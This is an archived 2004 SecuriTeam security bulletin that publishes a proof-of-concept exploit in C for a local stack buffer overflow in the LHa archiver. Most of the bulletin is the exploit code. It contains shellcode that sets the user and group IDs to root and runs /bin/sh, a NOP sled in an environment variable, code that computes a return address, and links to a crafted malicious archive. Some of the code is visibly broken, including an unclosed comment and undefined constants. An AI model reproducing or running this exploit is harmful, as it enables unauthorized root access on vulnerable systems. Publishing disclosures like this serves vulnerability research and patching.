

[EXPL] LHa Local Stack Overflow Proof of Concept

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-05/0010.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 05/02/04

To: list@securiteam.com

Date: 2 May 2004 18:36:22 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

LHa Local Stack Overflow Proof of Concept

SUMMARY

Several vulnerabilities were found in the LHa application. For more details see: <http://www.securiteam.com/unixfocus/5LP000KCVC.html> Buffer Overflows and Directory Traversal in LHA. Below is a proof of concept that exploits the stack based buffer overflow.

DETAILS

Exploit:

/* Author : N4rK07IX narkotix@linuxmail.org

Bug Found By : Ulf Ha"rnhammar <Ulf.Harnhammar.9485 at student.uu.se>

LHa buffer overflows and directory traversal problems

PROGRAM: LHa (Unix version)

VENDOR: various people

VULNERABLE VERSIONS: 1.14d to 1.14i // These sectionz completely taken from full-disclosure :))

1.17 (Linux binary)

possibly others

IMMUNE VERSIONS: 1.14i with my patch applied

Securiteam: [EXPL] LHa Local Stack Overflow Proof of Concept

```
#define PROG "lha"

static char shellcode[] =

    /* setreuid(0,0);
    "\x31\xc0" // xor %eax,%eax
    "\x31\xdb" // xor %ebx,%ebx
    "\x31\xc9" // xor %ecx,%ecx
    "\xb0\x46" // mov $0x46,%al
    "\xcd\x80" // int $0x80

    /* setgid(0); */
    "\x31\xdb" // xor %ebx,%ebx
    "\x89\xd8" // mov %ebx,%eax
    "\xb0\x2e" // mov $0x2e,%al
    "\xcd\x80" // int $0x80

    // execve /bin/sh
    "\x31\xc0" // xor %eax,%eax
    "\x50" // push %eax
    "\x68\x2f\x2f\x73\x68" // push $0x68732f2f
    "\x68\x2f\x62\x69\x6e" // push $0x6e69622f
    "\x89\xe3" // mov %esp,%ebx
    "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
    "\x50" // push %eax
    "\x53" // push %ebx
    "\x8d\x0c\x24" // lea (%esp,1),%ecx
    "\xb0\x0b" // mov $0xb,%al
    "\xcd\x80" // int $0x80

    // exit();
    "\x31\xc0" // xor %eax,%eax
    "\xb0\x01" // mov $0x1,%al
    "\xcd\x80"; // int $0x80

int main(int argc, char *argv[])

{
    if( argc < 2 )
    { printf("[--] Enter The Full Of the overflow.lha \n");
      exit(-1);
    }

    printf("-----\n");
    printf("| Author : N4rK07IX\n");
    printf("| Found by : Ulf Ha'rnhammar\n");
    printf("| LHa 1.14d 1.14i 1.17 Local Lame Stack Overflow Sploit\n");
    printf("| narkotix@linuxmail.org\n");
    printf("-----\n");

    char buffer[BUFFERSIZE];
```

Securiteam: [EXPL] LHa Local Stack Overflow Proof of Concept

```
char addict[FEED];

int i,
    *adr_pointer,
    *addict_pointer;

memset(addict,0x90,sizeof(addict));
memcpy(&addict[FEED-strlen(shellcode)],shellcode,strlen(shellcode));
memcpy(addict,"ADDICT=",7);
putenv(addict);

unsigned long ret = 0XBFFFFFFFA -strlen("/usr/bin/lha") - strlen(addict);
printf("[+] RET ADDRESS = 0x%x\n",ret);

char l = (ret & 0x000000ff);
char a = (ret & 0x0000ff00) >> 8;
char m = (ret & 0x00ff0000) >> 16;
char e = (ret & 0xff000000) >> 24;

printf("[!] Paste These ASCII 4 bytes Ret Adress to the XXXX in the
file overflow.lha\n");
printf("[!] ASCII RET ADDR = %c%c%c%c\n",l,a,m,e);
printf("[+] Exploiting the buffer..\n");
adr_pointer = (int *)(buffer);

for(i = 0 ; i < BUFFERSIZE ; i += 4)
*adr_pointer++ = ret;
execl(PATH,PROG,"x",argv[1],NULL);
if(!execl);
perror("execl()");
printf("[+] Done B4by\n");

return 0;
}
```

The file overflow.lha can be found at:

http://archives.neohapsis.com/archives/fulldisclosure/2004-03/att-2699/buf_oflow.lha
http://archives.neohapsis.com/archives/fulldisclosure/2004-03/att-2699/buf_oflow.lha

ADDITIONAL INFORMATION

The information has been provided by <mailto:narkotix@linuxmail.org>
narko tix.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

[EXPL] LHa Local Stack Overflow Proof of Concept

Securiteam: [EXPL] LHa Local Stack Overflow Proof of Concept

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.